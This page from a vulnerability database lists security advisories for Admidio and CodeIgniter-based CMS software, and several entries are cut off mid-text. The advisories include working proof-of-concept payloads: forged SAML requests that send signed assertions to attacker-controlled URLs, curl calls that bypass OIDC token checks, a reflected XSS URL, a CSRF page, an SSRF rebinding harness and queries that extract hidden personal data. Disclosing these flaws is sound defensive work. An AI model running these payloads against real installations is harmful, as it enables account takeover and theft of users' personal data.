Threat database
31,782 threats
| Severity | CVSS | Threat | Source | Added | Score and star |
|---|---|---|---|---|---|
| Medium | 6.8 | Medium6.8GCVE DatabaseCVE-2026-42194 ### Summary The incomplete SSRF fix in Admidio's `fetch_metadata.php` validates the resolved IP address but passes the original hostname-based URL to `curl_init()`, leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs. ### Affected Package - **Ecosystem:** Other - **Package:** admidio - **Affected versions:** < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a - **Patched versions:** >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a ### Severity Medium ### CWE CWE-918 — Server-Side Request Forgery (SSRF) ### Details In `modules/sso/fetch_metadata.php` (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs `filter_var($rawUrl, FILTER_VALIDATE_URL)` (line 27), resolves the hostname via `gethostbyname()` and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to `curl_init($url)` at line 41. The fundamental problem is at step 4: cURL resolves the hostname again independently. Between `gethostbyname()` at step 3 and `curl_exec()` at step 4, a DNS rebinding attack can cause the hostname to resolve to `169.254.169.254` (AWS metadata), `127.0.0.1`, or any other internal address. No `CURLOPT_RESOLVE` is set to pin the hostname to the validated IP. The TOCTOU window between `gethostbyname()` and `curl_exec()` is the core issue, and the patch does not close it. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname() and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init(). DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects. Real vulnerable PHP code copied from: Admidio/admidio, modules/sso/fetch_metadata.php This PoC runs the actual PHP validation logic via `php -r`. """ import subprocess import sys import os SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php") def run_php(code): return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15) def main(): if not os.path.exists(VULN_PHP): print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}") sys.exit(1) print(f"Source file: {VULN_PHP}") print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n") php_code = r""" echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n"; // Extracted from: modules/sso/fetch_metadata.php lines 21-49 // Character-for-character copy of the validation logic: function test_admidio_ssrf_filter($rawUrl, $simulated_ip) { // Only allow https:// scheme (line 21) if (!preg_match('#^https://#i', $rawUrl)) { return ['blocked' => true, 'reason' => 'Not HTTPS']; } // Validate URL (line 27) $url = filter_var($rawUrl, FILTER_VALIDATE_URL); if (!$url) { return ['blocked' => true, 'reason' => 'Invalid URL']; } // Resolve hostname and block internal/private IP ranges (lines 34-38) $host = parse_url($url, PHP_URL_HOST); $ip = $simulated_ip; // In real code: gethostbyname($host) if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"]; } // VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname return [ 'blocked' => false, 'url_passed_to_curl' => $url, 'host' => $host, 'checked_ip' => $ip, ]; } $tests = [ ['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34', 'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'], ['https://attacker-rebind.example.com/saml/metadata', '169.254.169.254', 'After rebind to metadata - blocked IF re-checked'], ['https://192.168.1.1/admin', '192.168.1.1', 'Direct private IP - blocked'], ['https://10.0.0.1/internal', '10.0.0.1', 'Direct internal IP - blocked'], ['http://attacker.com/metadata', '93.184.216.34', 'HTTP scheme - blocked (HTTPS required)'], ['https://evil.com/metadata', '8.8.8.8', 'External HTTPS URL - passes'], ]; $vuln_found = false; foreach ($tests as $test) { $result = test_admidio_ssrf_filter($test[0], $test[1]); $status = $result['blocked'] ? 'BLOCKED' : 'PASSED'; echo sprintf("%-65s => %s\n", $test[2], $status); if (!$result['blocked']) { $curl_host = parse_url($result['url_passed_to_curl'], PHP_URL_HOST); if ($curl_host !== $result['checked_ip']) { echo " VULN: cURL gets hostname '$curl_host' (checked IP: '{$result['che | GCVE Database | ||
| Medium | 5.3 | Medium5.3GCVE DatabaseCVE-2026-41891 ### Summary The auth filter has the deactivated/banned user check commented out. ### Details CodeIgniter Shield's `loggedIn()` re-checks the `status` field (catching `status='banned'`), but does **not** re-check the `active` field for existing sessions. When an admin deactivates a user (`active=0`) after they have already logged in: - Their session cookie remains valid - `auth()->loggedIn()` still returns `true` - The commented-out code is the only mechanism that would have checked `!$user->active` ### Evidence <img width="981" height="654" alt="image" src="https://github.com/user-attachments/assets/6f75d144-5bcf-4a3f-bc35-bb0715c3ed05" /> ### Impact - User deactivation does NOT immediately revoke backend access - Deactivated user retains full access until session expires (default: 7200s) ### Additional note The commented-out block appears to be a deferred placeholder — it was written but disabled from the very first commit that introduced the filter, and has never been active. The later addition of SessionTracker (v0.31.4.0) suggests the dev was aware of the session revocation gap, but account-level deactivation (users.active = 0) remains unenforced. Could you verify if this is intentionally pending or simply forgotten and not documented?. | GCVE Database | ||
| Medium | 6.9 | CVE-2026-41890ci4-cms-erp/ci4ms · CI4MS Vulnerable to Arbitrary Database Table Drop via Theme deleteProcess Medium6.9GCVE DatabaseCVE-2026-41890 ### Summary The `deleteProcess()` action accepts a POST parameter `tables[]` containing arbitrary table names. These are passed directly to `$forge->dropTable()` without validating that the tables belong to the theme being deleted. The `deleteConfirm` view correctly populates `tables[]` from the theme's own migration files, but the server-side `deleteProcess` does not verify the received values against those files. An authenticated admin can craft a POST request with arbitrary table names and drop any table in the database. This is a real bug even within the admin trust model: the action should be scoped to the theme's own tables. The permission grants delete this theme's data", not "drop any table". ### Details ### Location `modules/Theme/Controllers/Theme.php` :: `deleteProcess()` ~line 147 ### Vulnerable Code ```php public function deleteProcess(string $slug) { $themeName = $slug; $activeTheme = setting('App.siteTheme'); if ($activeTheme === $themeName) { return redirect()->route('templateSettings')...; } $tablesToDrop = $this->request->getPost('tables'); // ← user-supplied, unvalidated if (!empty($tablesToDrop) && is_array($tablesToDrop)) { $forge = \Config\Database::forge(); $db = \Config\Database::connect(); foreach ($tablesToDrop as $table) { if ($db->tableExists($table)) { $forge->dropTable($table, true); // ← no whitelist check } } } ``` ### PoC 1. Authenticate to the backend (any user with theme.delete permission) 2. POST to `/backend/themes/delete-process/<any_non_active_theme_slug>` 3. Include `tables[]=<any_table>` in POST body 4. The named tables are dropped without validation ### Impact - Dropped `ci4ms_blog` (confirmed in test) - Dropped `ci4ms_users` + `ci4ms_auth_identities` simultaneously — disables all authentication (confirmed) - Any table in the database can be targeted ### Additional note Quick note on the design intent for deleteProcess — I noticed delete_confirm.php scopes the checkboxes to the theme's own migration files, and the CHANGELOG confirms the selective deletion was intentional (admins can choose which tables to keep). The server-side deleteProcess already has all the information it needs to validate the input — deleteConfirm derives the valid table set from the migration files, deleteProcess just needs to do the same before acting on the POST. Happy to clarify if useful. | GCVE Database | ||
| Medium | 6.8 | CVE-2026-41671Admidio · OIDC Token Introspection Endpoint Returns Active for All Tokens Without Validation Medium6.8GCVE DatabaseCVE-2026-41671 ## Summary The OIDC token introspection endpoint (`/modules/sso/index.php/oidc/introspect`) always returns `{"active": true}` for every request, regardless of whether a valid token is provided, whether the token is expired, revoked, or completely fabricated. The endpoint performs no authentication of the calling resource server and no validation of the submitted token. Any resource server that relies on this introspection endpoint to validate access tokens will accept all requests as authorized, enabling complete authentication bypass. Additionally, the OIDC token revocation endpoint (`/oidc/revoke`) returns `{"revoked": true}` without actually revoking any token, preventing resource servers from invalidating compromised credentials. ## Details The vulnerability is in `src/SSO/Service/OIDCService.php`, lines 604-619: ```php public function handleIntrospectionRequest() { // TODO_RK if (!$this->isServiceSetup) { $this->setupService(); } return new JsonResponse(["active" => true]); } public function handleRevocationRequest() { // TODO_RK if (!$this->isServiceSetup) { $this->setupService(); } return new JsonResponse(["revoked" => true]); } ``` The introspection endpoint is routed at `modules/sso/index.php`, line 58-59: ```php } elseif (strpos($requestUri, '/oidc/introspect') !== false) { $response = $oidcService->handleIntrospectionRequest(); ``` The router comment at line 35 says "Login checks will be done in the individual endpoint handler functions!" but neither `handleIntrospectionRequest` nor `handleRevocationRequest` perform any authentication or authorization checks. Per RFC 7662 (OAuth 2.0 Token Introspection), the introspection endpoint: 1. MUST authenticate the calling resource server (Section 2.1) 2. MUST validate the submitted token against its database 3. MUST return `{"active": false}` for invalid, expired, or revoked tokens The current implementation violates all three requirements. **Attack flow:** 1. Attacker obtains a resource server's endpoint URL that uses Admidio as its OIDC provider 2. Attacker crafts any arbitrary string as a Bearer token 3. Resource server sends the fabricated token to `/oidc/introspect` for validation 4. Admidio returns `{"active": true}` without any checks 5. Resource server accepts the fabricated token as valid and grants access **The revocation bypass compounds this:** If a legitimate token is stolen, the resource server or client application cannot revoke it. Calling `/oidc/revoke` returns success without actually revoking the token in the database, so the stolen token remains usable indefinitely (until its expiry time). ## PoC ```bash # Step 1: Confirm the introspection endpoint exists and always returns active # No valid token needed - any string works curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \ -d "token=COMPLETELY_FABRICATED_TOKEN_12345" # Expected response: {"active":true} # Step 2: Try with an empty token curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \ -d "token=" # Expected response: {"active":true} # Step 3: Demonstrate that revocation is also broken curl -X POST https://TARGET/modules/sso/index.php/oidc/revoke \ -d "token=any_valid_token_here" # Expected response: {"revoked":true} # But the token is NOT actually revoked in the database # Step 4: Verify the token is still active after "revocation" curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \ -d "token=any_valid_token_here" # Still returns: {"active":true} ``` ## Impact - **Authentication Bypass on Resource Servers**: Any application (wiki, CMS, project management tool, etc.) configured to validate tokens against this Admidio OIDC introspection endpoint will accept completely fabricated tokens. An attacker can impersonate any user on all connected resource servers. - **Inability to Revoke Compromised Tokens**: If a legitimate access token is leaked or stolen, there is no way to revoke it through the standard OIDC revocation flow. The token remains valid until its 1-hour expiry. - **Scope Change (S:C)**: The vulnerability in the Admidio authorization server directly impacts the security of all connected resource servers (different security authority), which is why the CVSS scope is Changed. ## Recommended Fix Replace the stub implementations with proper token introspection and revocation logic: ```php public function handleIntrospectionRequest() { if (!$this->isServiceSetup) { $this->setupService(); } $request = $this->getRequest(); // 1. Authenticate the resource server (RFC 7662 Section 2.1) // The resource server MUST authenticate using client credentials $clientId = $request->getParsedBody()['client_id'] ?? null; $clientSecret = $request->getParsedBody()['client_secret'] ?? null; if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) { return new JsonRespo | GCVE Database | ||
| High | 8.2 | CVE-2026-41670admidio/admidio · Admidio Sends SAML Response to Unvalidated Assertion Consumer Service URL from AuthnRequest High8.2GCVE DatabaseCVE-2026-41670 ## Summary The SAML IdP implementation in Admidio's SSO module uses the `AssertionConsumerServiceURL` value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (`smc_acs_url`) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary `AssertionConsumerServiceURL`, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL. ## Details The vulnerability is in `src/SSO/Service/SAMLService.php`, in `handleSSORequest()` at lines 439-465: ```php // Line 439: ACS URL extracted directly from the AuthnRequest (attacker-controlled) $clientACS = $request->getAssertionConsumerServiceURL(); // ... // Line 456: Used as the Destination of the SAML Response $response->setDestination($clientACS); // Lines 463-465: Also used as the Recipient in SubjectConfirmationData $subjectConfirmationData = new \LightSaml\Model\Assertion\SubjectConfirmationData(); $subjectConfirmationData ->setRecipient($clientACS) // Required recipient URL ``` There is no code that compares `$clientACS` against the client's registered `smc_acs_url` column value. The SAML 2.0 specification and OASIS security considerations explicitly require IdPs to verify that the AssertionConsumerServiceURL matches one of the SP's registered ACS endpoints. **Signature validation is conditional and does not prevent this attack:** At lines 417-419: ```php if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed')); } ``` If neither `smc_require_auth_signed` nor `smc_validate_signatures` is enabled for the SP client (which is the default when creating a new client), the AuthnRequest is processed without any signature verification. This means an attacker only needs to know the SP's Entity ID (which is often publicly discoverable from the SP's metadata endpoint) to craft a malicious AuthnRequest. Even when signatures ARE validated, the ACS URL should still be checked against the registered value, because: - Signature validation proves the request came from the SP, not that the ACS URL is authorized - If the SP's signing key is compromised, the ACS URL becomes the last line of defense - This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1 **The same pattern exists in the error response path** at lines 323-326: ```php } elseif (method_exists($request, 'getAssertionConsumerServiceURL')) { $response->setDestination($request->getAssertionConsumerServiceURL()); } else { $response->setDestination($client->getValue('smc_acs_url')); } ``` **Attack flow:** 1. Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP's public metadata) 2. Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled `AssertionConsumerServiceURL` 3. Attacker sends this AuthnRequest to Admidio's SSO endpoint (via redirect or auto-submitting form) 4. If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user's identity and attributes 5. The SAML response is POST-binding-sent to the attacker's URL via an auto-submitting HTML form rendered in the victim's browser 6. The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields 7. The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP) ## PoC ```bash # Step 1: Generate a malicious SAML AuthnRequest # This is a base64-encoded SAML AuthnRequest with: # - Issuer = the known Entity ID of a registered SP # - AssertionConsumerServiceURL = attacker's server # Example AuthnRequest XML (before base64 encoding): # <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" # xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" # ID="_test123" # Version="2.0" # IssueInstant="2026-03-17T00:00:00Z" # AssertionConsumerServiceURL="https://attacker.test/steal-saml" # ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"> # <saml:Issuer>https://legitimate-sp.test/metadata</saml:Issuer> # </samlp:AuthnRequest> SAML_REQUEST=$(echo -n '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_test123" Version="2.0" IssueInstant="2026-03-17T00:00:00Z" AssertionConsumerServiceURL="https://attacker.test/steal-saml" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>REGISTERED_SP_ENTITY_ID</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0) # Step 2: Send via HTTP-POST binding to Admidio's SSO endpoint # (This would typically be | GCVE Database | ||
| High | 8.2 | CVE-2026-41669admidio/admidio · Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests High8.2GCVE DatabaseCVE-2026-41669 ## Summary The Admidio SAML Identity Provider implementation discards the return value of its `validateSignature()` method at both call sites (`handleSSORequest()` line 418 and `handleSLORequest()` line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the `smc_require_auth_signed` configuration option is completely ineffective — unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones. ## Details The `validateSignature()` method at `src/SSO/Service/SAMLService.php:355` has three possible return paths: ```php // Line 355-392 public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string { global $gL10n; $certPem = $client->getValue('smc_x509_certificate'); if (!$certPem) { if ($required) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw } else { return false; } } // ... $signatureReader = $message->getSignature(); if (is_null($signatureReader)) { if ($required) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw } else { return false; } } try { $ok = $signatureReader->validate($key); if ($ok) { return true; } else { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw } } catch (Exception $ex) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw } } ``` Both call sites discard the return value entirely: ```php // Line 416-419 in handleSSORequest() // Validate signatures. Will throw an exception <-- INCORRECT COMMENT if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed')); // Return value discarded — execution continues regardless of validation result } // Line 611-614 in handleSLORequest() // Validate signatures. Will throw an exception <-- INCORRECT COMMENT if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed')); // Return value discarded — execution continues regardless of validation result } ``` **SSO exploitation path** (for already-logged-in users): 1. `modules/sso/index.php:92` routes to `handleSSORequest()` 2. Line 403: `receiveMessage()` parses SAML binding directly from HTTP GET/POST — no authentication required 3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded 4. Line 417-419: Signature validation called but return value discarded — flow continues 5. Line 421: `$gValidLogin` is true for logged-in users, so login form is skipped 6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the `AssertionConsumerServiceURL` from the forged request **SLO exploitation path**: 1. `modules/sso/index.php:94` routes to `handleSLORequest()` 2. Line 613: Signature validation discarded 3. Lines 621-629: User's session is deleted from the database and `$gCurrentSession->logout()` is called ## PoC ```bash # Prerequisites: # - Admidio instance with SAML SSO enabled (sso_saml_enabled=1) # - At least one registered SAML SP client with smc_require_auth_signed=true # - A user with an active session (e.g., admin browsing the Admidio panel) # 1. Generate an unsigned AuthnRequest impersonating a registered SP: AUTHN_REQUEST=$(python3 -c " import base64, zlib req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>' print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode()) ") # 2. Send the unsigned request via HTTP-Redirect binding (GET): # If a logged-in user's browser follows this link (e.g., via CSRF/social engineering), # Admidio generates a signed SAML assertion with the user's PII and sends it # to the attacker-controlled ACS URL. curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \ -b 'PHPSESSID=VICTIM_SESSION_COOKIE' # Expected: Despite smc_require_auth_signed=true, the unsigned request is processed. # The response contains a SAML assertion with the victim's attributes. # 3. For SLO — forge a LogoutRequest to terminate a victim's session: LOGOUT_REQUEST=$(python3 -c " import base64, zlib req = ' | GCVE Database | ||
| Low | 3.5 | CVE-2026-41663admidio/admidio · Admidio has CSRF on Admin Preferences that Triggers Unauthorized Backup, .htaccess Write, and Email Send Low3.5GCVE DatabaseCVE-2026-41663 ## Summary Several administrative operations in Admidio's preferences module (database backup, test email, htaccess generation) fire via GET requests with no CSRF token validation. Because `SameSite=Lax` cookies travel with top-level GET navigations, an attacker forces an authenticated admin to trigger these actions from a malicious page. ## Details In `modules/preferences.php`, the `backup`, `test_email`, and `htaccess` modes accept GET parameters with no CSRF token check: ```php // modules/preferences.php - backup mode case 'backup': // Creates full database dump and serves as download // No CSRF token validation $backupFile = $gDb->backup(); // ... sends file to client break; case 'test_email': // Sends test email from the server // No CSRF token validation break; case 'htaccess': // Writes .htaccess file to disk // No CSRF token validation break; ``` The `save` mode in the same file validates CSRF via `getFormObject()`, confirming the developers intended CSRF protection but did not apply it to these other modes. Because these are GET requests, `SameSite=Lax` browsers include session cookies on top-level cross-origin navigations, making CSRF exploitation trivial. ## Proof of Concept Simplified attacker page (`csrf.html` hosted on attacker origin): ```html <html> <body> <h1>Loading...</h1> <!-- Trigger backup creation on victim's browser --> <script>window.location = 'https://target-admidio.example.com/adm_program/modules/preferences.php?mode=backup';</script> </body> </html> ``` When an administrator visits this page, the browser navigates to the Admidio backup URL with full session cookies. The server generates a database dump and serves it as a download to the victim's browser. Note: the backup downloads to the victim's machine, not to the attacker. The attacker cannot read the response cross-origin. For `htaccess` mode, the CSRF overwrites the `.htaccess` file on the server, disrupting the application. For `test_email` mode, it triggers email sends from the server, which an attacker can abuse for spam or to probe internal email infrastructure. ## Impact An attacker tricks an Admidio administrator into visiting a malicious page that triggers state-changing operations on the server: - **Backup creation**: forces the server to generate a full database dump. The backup downloads to the victim's browser, not to the attacker. However, repeated backup triggers can cause disk I/O and storage pressure on the server. - **htaccess modification**: overwrites the server's `.htaccess` file, breaking URL routing or disabling security headers. - **Test email**: fires email sends from the server, usable as a spam relay or to probe internal mail configuration. The core issue is that state-changing operations run via unprotected GET requests. The victim only needs to visit a single attacker-controlled page while logged in. ## Recommended Fix 1. Change `backup`, `test_email`, and `htaccess` operations to require POST requests. 2. Add CSRF token validation using the existing `getFormObject()` mechanism. 3. As defense in depth, set `SameSite=Strict` on session cookies or add a confirmation step for destructive operations like database backup. --- *Found by [aisafe.io](https://aisafe.io)* | GCVE Database | ||
| Medium | 5.2 | Medium5.2GCVE DatabaseCVE-2026-41662 ## Summary `Role::stopMembership()` does not verify whether removing a user from the administrator role leaves zero administrators. The deprecated `Membership::stopMembership()` contains this safety check, but the current code path bypasses it. Any administrator can remove the last remaining other administrator, locking the entire system out of administrative access. The exploit does not require concurrent requests; sequential removals produce the same result. ## Details `Role::stopMembership()` in `src/Roles/Entity/Role.php` stops a user's membership in a role without verifying whether the action leaves the administrator role with zero members: ```php // src/Roles/Entity/Role.php - Role::stopMembership() public function stopMembership(int $userId): bool { // No check for minimum administrator count // Directly updates membership end date } ``` The deprecated `Membership::stopMembership()` contains this safety check and raises `SYS_MUST_HAVE_ADMINISTRATOR` when the removal would leave no admins, but current code paths no longer call this method. `Role::setMembership()` includes a guard that prevents a user from removing their own administrator membership: ```php if ($userId === $gCurrentUserId) { // Prevents self-removal from admin role } ``` This guard does not prevent an administrator from removing the last other administrator. Consider a system with exactly two administrators (Admin A and Admin B): 1. Admin A removes Admin B from the administrator role. The self-removal check passes (Admin A is not removing themselves). No minimum-count check runs. Admin B loses admin access. 2. Admin A is now the sole administrator. Admin A cannot remove themselves (self-removal guard), but the system is one compromised account away from total lockout. 3. If Admin A and Admin B each send a removal request for the other (sequentially or concurrently), both succeed. The system has zero administrators. The core bug is the missing minimum-administrator check in `Role::stopMembership()`, not timing. Sequential requests reproduce the issue just as concurrent ones do. ## Proof of Concept Requirements: two active administrator accounts (Admin A and Admin B) with valid sessions. ```python import requests BASE = "https://admidio.example.com" session_a = requests.Session() session_b = requests.Session() # Authenticate both sessions (login step omitted for brevity) # Step 1: Admin A removes Admin B (sequential, no race needed) resp1 = session_a.post(f"{BASE}/modules/profile/profile_function.php", data={ "mode": "stop_membership", "user_uuid": ADMIN_B_UUID, "role_uuid": ADMIN_ROLE_UUID }) print(f"Admin A removes Admin B: {resp1.status_code}") # 200 # Step 2: Admin B removes Admin A (Admin B's session is still valid) resp2 = session_b.post(f"{BASE}/modules/profile/profile_function.php", data={ "mode": "stop_membership", "user_uuid": ADMIN_A_UUID, "role_uuid": ADMIN_ROLE_UUID }) print(f"Admin B removes Admin A: {resp2.status_code}") # 200 # The system now has 0 administrators. ``` After both requests complete, no users remain in the administrator role. The administrative interface becomes inaccessible. Recovery requires direct database manipulation to reassign the administrator role. ## Impact Two colluding or compromised administrator accounts lock out all administrative access to the Admidio installation. Recovery demands direct database access, which may not be available on shared hosting environments. The attack does not require precise timing because `Role::stopMembership()` performs no minimum-admin-count check at all. ## Recommended Fix Add a minimum-administrator-count check to `Role::stopMembership()`. Before stopping a membership in the administrator role, query the current count of active members. If stopping this membership would leave zero administrators, reject the request with `SYS_MUST_HAVE_ADMINISTRATOR`. This mirrors the check already present in the deprecated `Membership::stopMembership()` method. --- *Found by [aisafe.io](https://aisafe.io)* | GCVE Database | ||
| Medium | 6.1 | CVE-2026-41661msg_window.php · Admidio Vulnerable to Reflected XSS Medium6.1GCVE DatabaseCVE-2026-41661 ## Summary An unauthenticated attacker can execute arbitrary JavaScript in any Admidio user's browser through a reflected XSS in `system/msg_window.php`. The endpoint passes user input through `htmlspecialchars()`, which does not encode square brackets. A subsequent call to `Language::prepareTextPlaceholders()` converts those brackets into HTML angle brackets, producing executable markup. ## Details The `msg_window.php` endpoint accepts `message_id` and `message_var1` as GET parameters. At line 146, the code passes `message_var1` through `htmlspecialchars()` before inserting it into the language string as a placeholder: ```php // system/msg_window.php:146 $messageText = $gL10n->get($messageId, array(htmlspecialchars($messageVar1))); ``` `htmlspecialchars()` encodes `<`, `>`, `&`, `"`, and `'` but leaves `[` and `]` untouched. The `Language::get()` method calls `Language::prepareTextPlaceholders()`, which performs a character-level translation: ```php // src/Infrastructure/Language.php:497 $text = strtr($text, '[]', '<>'); ``` This converts all square brackets in the output string, including those from user input, into angle brackets. An attacker submits `[script]alert(document.domain)[/script]`, which survives `htmlspecialchars()` unchanged, then becomes `<script>alert(document.domain)</script>` after placeholder preparation. The application sets no Content-Security-Policy headers, so inline scripts execute without restriction. ## Proof of Concept Visit the following URL on any Admidio installation (no authentication required): ``` https://<admidio-host>/system/msg_window.php?message_id=INS_INSTALLATION_VERSION&message_var1=%5Bscript%5Dalert(document.domain)%5B/script%5D ``` The server responds with an HTML page containing: ```html Installation version <script>alert(document.domain)</script> ``` The JavaScript executes in the context of the Admidio origin, displaying the current domain in an alert dialog. ## Impact An attacker crafts a malicious URL and sends it to any Admidio user. When the victim clicks the link, attacker-controlled JavaScript runs in their browser session. The attacker can steal session cookies, perform administrative operations on behalf of the victim, or redirect the victim to phishing pages. The endpoint requires no authentication. ## Recommended Fix Apply output encoding after `Language::prepareTextPlaceholders()` runs, or stop translating square brackets that originate from user-supplied placeholder values. A targeted fix: escape `[` and `]` in user input before passing it into `Language::get()`. --- *Found by [aisafe.io](https://aisafe.io)* | GCVE Database | ||
| Low | 2.7 | CVE-2026-41659admidio/admidio · Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment Low2.7GCVE DatabaseCVE-2026-41659 ## Summary The member assignment DataTables endpoint (`members_assignment_data.php`) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via `isVisible()` checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. ## Details The search columns are hardcoded at `modules/groups-roles/members_assignment_data.php:118-126`: ```php $searchColumns = array( 'COALESCE(last_name, \' \')', 'COALESCE(first_name, \' \')', 'COALESCE(birthday, \' \')', // hidden field - no visibility check 'COALESCE(street, \' \')', // hidden field - no visibility check 'COALESCE(city, \' \')', // hidden field - no visibility check 'COALESCE(zip_code, \' \')', // hidden field - no visibility check 'COALESCE(country, \' \')' // hidden field - no visibility check ); ``` These columns are concatenated into a SQL LIKE search at line 139: ```php $searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\'%\', ' . $searchValue . ', \'%\')) '; ``` The SQL query at lines 200-235 fetches all these fields via LEFT JOINs on `adm_user_data`, and the search condition is applied as a subquery filter at lines 258-262: ```php $sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ... FROM (' . $mainSql . ') AS members ' . $searchCondition . $orderCondition . $limitCondition; ``` The output visibility checks at lines 291-335 correctly call `$gProfileFields->isVisible('BIRTHDAY', $gCurrentUser->isAdministratorUsers())`, which returns `false` when `usf_hidden=1` and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search. The authorization check at line 77 uses `allowedToAssignMembers()` (`src/Roles/Entity/Role.php:98-121`), which passes for role leaders with `ROLE_LEADER_MEMBERS_ASSIGN` (value 1). These leaders do not have `isAdministratorUsers()` privileges, so `isVisible()` returns false for hidden fields — but the search still operates on them. ## PoC ```bash # Prerequisites: # - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights # - BIRTHDAY field is configured as hidden (usf_hidden = 1) # - Target role has a known UUID # Step 1: Baseline - get all members without search filter curl -b 'PHPSESSID=<session>' \ 'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=' # Response: returns all users. Birthday column is NOT in output (hidden). # Note recordsFiltered count. # Step 2: Search for a specific birthday value curl -b 'PHPSESSID=<session>' \ 'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15' # Response: only users whose hidden birthday matches "1990-03-15" appear. # Birthday column is still NOT in output, but result set is filtered by it. # User names (always visible) reveal which users have that birthday. # Step 3: Enumerate hidden street addresses curl -b 'PHPSESSID=<session>' \ 'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St' # Response: only users living at "123 Main St" appear in results. # Address fields are hidden in output but the search matched against them. ``` ## Impact A role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including: - **Birthdays** — exact date of birth for any user - **Street addresses** — full street address - **Cities and postal codes** — location information - **Countries** — nationality/residence This is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the 